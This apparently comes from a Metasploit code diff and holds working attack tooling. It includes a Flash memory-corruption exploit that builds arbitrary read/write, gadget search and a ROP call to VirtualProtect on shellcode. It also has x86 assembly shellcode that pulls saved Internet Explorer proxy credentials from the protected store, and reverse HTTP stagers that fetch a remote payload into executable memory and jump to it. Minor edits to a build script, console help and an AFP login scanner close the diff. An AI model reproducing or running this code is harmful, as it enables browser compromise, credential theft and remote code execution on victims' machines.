ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // cf
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
virtual_protect, // BOOL WINAPI VirtualProtect(
shellcode, // ...
shellcode, // LPVOID lpAddress,
0x1000, // SIZE_T dwSize,
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
m.vector_base, // LPDWORD lpflOldProtect
// );
0x41414141, 0x41414141);
Debug('[*] we survived!');
// no need to fix the vtable, as we only overwrote the pointer
// for the Rop method, and it won't get called again.
} catch (e:Error) {
Debug('[!] error: ' + e.message);
} finally {
// we *always* need to clean up our corrupt vector as flash
// will try to zero it out later otherwise...
Debug('[*] cleaning up corrupted vector');
m.Cleanup();
}
}
}
}

View File

@ -0,0 +1,150 @@
package
{
// some utilities to encapsulate using the relative read/write of the
// corrupt vector.<uint> as an absolute read/write of the whole address
// space.
public class Memory
{
public var vector:Vector.<uint>;
public var vector_base:uint;
public var vector_size:uint;
private static function negative(i:uint):uint {
return (~i) + 1;
}
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
vector = v;
vector_base = b;
vector_size = s;
}
public function Cleanup():void {
// restore the correct size to our vector so that flash doesn't
// inadvertently trample on lots of memory.
vector[negative(2)] = vector_size;
}
public function read_dword(address:uint):uint {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and produce the correct
// dword, but that could lead to oob reads if we're close to
// a page boundary. take the path of least danger, and throw
// for debugging.
throw 'read_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = address - vector_base >> 2;
}
try {
return vector[offset];
} catch (e:Error) {
// we can't read at offset 0xffffffff, sometimes we will want
// to, but that is just life.
}
return 0;
}
public function read_byte(address:uint):uint {
var dword_address:uint = address & 0xfffffffc;
var dword:uint = read_dword(dword_address);
while (address & 0x3) {
dword = dword >> 8;
address -= 1;
}
return (dword & 0xff);
}
public function read_string(address:uint):String {
var string:String = '';
var dword:uint = 0;
while (address & 0x3) {
var char:uint = read_byte(address);
if (char == 0) {
return string;
}
string += String.fromCharCode(char);
address += 1;
}
while (true) {
dword = read_dword(address);
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
}
else {
return string;
}
address += 4;
}
return string;
}
public function write_dword(address:uint, value:uint):void {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and write 2 dwords, and
// produce the correct dword, but that could lead to oob reads
// and writes if we're close to a page boundary. take the path
// of least danger, and throw for debugging.
throw 'write_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = (address - vector_base) >> 2;
}
vector[offset] = value;
}
}
}

View File

@ -0,0 +1,157 @@
package
{
import flash.utils.ByteArray;
public class PE32
{
private var m:Memory;
public var base:uint;
public var dos_header:uint;
public var nt_header:uint;
public var file_header:uint;
public var opt_header:uint;
private function FindBase(ptr:uint):uint {
ptr = ptr & 0xffff0000;
var dword:uint = m.read_dword(ptr);
while ((dword & 0xffff) != 0x5a4d) {
ptr -= 0x10000;
dword = m.read_dword(ptr);
}
return ptr;
}
public function ParseHeaders():void {
dos_header = base;
var e_lfanew:uint = m.read_dword(dos_header + 60);
nt_header = dos_header + e_lfanew;
var nt_magic:uint = m.read_dword(nt_header);
if (nt_magic != 0x00004550) {
dos_header = 0;
nt_header = 0;
return;
}
file_header = nt_header + 4;
var machine:uint = m.read_dword(file_header);
if ((machine & 0xffff) != 0x014c) {
dos_header = 0;
nt_header = 0;
file_header = 0;
return;
}
opt_header = nt_header + 24;
var opt_magic:uint = m.read_dword(opt_header);
if ((opt_magic & 0xffff) != 0x10b) {
dos_header = 0;
nt_header = 0;
file_header = 0;
opt_header = 0;
return;
}
}
public function GetImport(mod_name:String, fun_name:String):uint {
if (base == 0 || dos_header == 0) {
return 0;
}
var data_directory:uint = opt_header + 96;
var import_dir:uint = data_directory + 8;
var import_rva:uint = m.read_dword(import_dir);
var import_size:uint = m.read_dword(import_dir + 4);
if (import_size == 0) {
return 0;
}
var import_descriptor:uint = base + import_rva;
var orig_first_thunk:uint = m.read_dword(import_descriptor);
while (orig_first_thunk != 0) {
var module_name_ptr:uint =
dos_header + m.read_dword(import_descriptor + 12);
if (module_name_ptr != 0) {
var module_name:String = m.read_string(module_name_ptr);
if (module_name == mod_name) {
orig_first_thunk += dos_header;
break;
}
}
import_descriptor += (5 * 4);
orig_first_thunk = m.read_dword(import_descriptor);
}
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
var thunk:uint = orig_first_thunk;
var import_by_name_rva:uint = m.read_dword(thunk);
while (import_by_name_rva != 0) {
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
var function_name:String = m.read_string(function_name_ptr);
if (function_name == fun_name) {
return m.read_dword(first_thunk);
}
thunk += 4;
first_thunk += 4;
import_by_name_rva = m.read_dword(thunk);
}
return 0;
}
public function GetGadget(gadget:ByteArray):uint {
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
var section_header:uint = opt_header + opt_header_size;
for (var i:uint = 0; i < section_count; ++i) {
var characteristics:uint = m.read_dword(section_header + (9 * 4));
if ((characteristics & 0xe0000000) == 0x60000000) {
// this section is read/execute, so scan for gadget
var section_rva:uint = m.read_dword(section_header + 12);
var section_size:uint = m.read_dword(section_header + 16);
var section_base:uint = base + section_rva;
var section:ByteArray = new ByteArray();
section.endian = "littleEndian";
section.length = section_size;
for (var j:uint = 0; j < section_size; j += 4) {
section.writeUnsignedInt(
m.read_dword(section_base + j));
}
for (j = 0; j < section_size; j += 1) {
section.position = j;
gadget.position = 0;
while (section.readByte() == gadget.readByte()) {
if (gadget.position == gadget.length) {
return section_base + j;
}
}
}
}
section_header += 10 * 5;
}
return 0;
}
public function PE32(memory:Memory, ptr:uint) {
m = memory;
base = FindBase(ptr);
ParseHeaders();
}
}
}

View File

@ -0,0 +1,51 @@
package
{
public class Pwned
{
public var magic1:uint;
public var magic2:uint;
public function Rop(
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
{
return magic1 + magic2;
}
public function Pwned()
{
magic1 = 0xdecafbad;
magic2 = 0xdecafbad;
}
}
}

View File

@ -1,5 +1,15 @@
#!/bin/bash
# This requires Java 1.7 or earlier because it uses private APIs.
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
# for more information.
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
# be set manually.
if [ -x /usr/libexec/java_home ]; then
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
fi
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
jar -cf msfJavaToolkit.jar javaCompile/*.class

View File

@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?)
jz failure
mov rax, [rdi]
mov ax, word ptr [edi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?

View File

@ -0,0 +1,209 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:

View File

@ -0,0 +1,157 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Top and second top element of stack can be pointer to null-terminated
; password and pointer to null-terminated username of a proxy server to connect to.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor edi, edi
push edi ; DWORD_PTR dwContext (NULL)
push edi ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push edx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
;//////////////////////////////////
;//get proxy credentials from stack
;//////////////////////////////////
get_proxy_auth:
pop esi ; delete the top 3 stack elements as they are
pop esi ; garbage from this block
pop esi
pop ecx ; save pointer to password in ecx
pop edx ; save pointer to username in edx
;/////////////////////////////////////////////////
; we use the credentials only in internetconnect//
;/////////////////////////////////////////////////
call internetconnect
server_host:

View File

@ -0,0 +1,138 @@
;-----------------------------------------------------------------------------;
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%define u(x) __utf16__(x)
%define HTTP_OPEN_FLAGS 0x00000100
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
set_retry:
push byte 6 ; retry 6 times
pop EDI
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push dword 4444 ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
dw u('/12345'), 0
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push HTTP_OPEN_FLAGS ; Flags [7]
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:

View File

@ -0,0 +1,18 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Windows Server 2003, IE Versions 4 to 6
; Build: >build.py stager_reverse_http_proxy_pstore
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_get_pstore_creds.asm"
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -0,0 +1,19 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
; Version: 1.0 (January 2015)
; Size: 323 bytes
; Build: >build.py stager_reverse_winhttp_http
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_winhttp_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -36,6 +36,7 @@ Feature: Help command
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores

View File

@ -77,8 +77,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -87,8 +86,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
when -5023 #kFPUserNotAuth (User dosen't exists)
return :skip_user
else
return :connection_error
@ -123,8 +121,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -180,8 +177,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
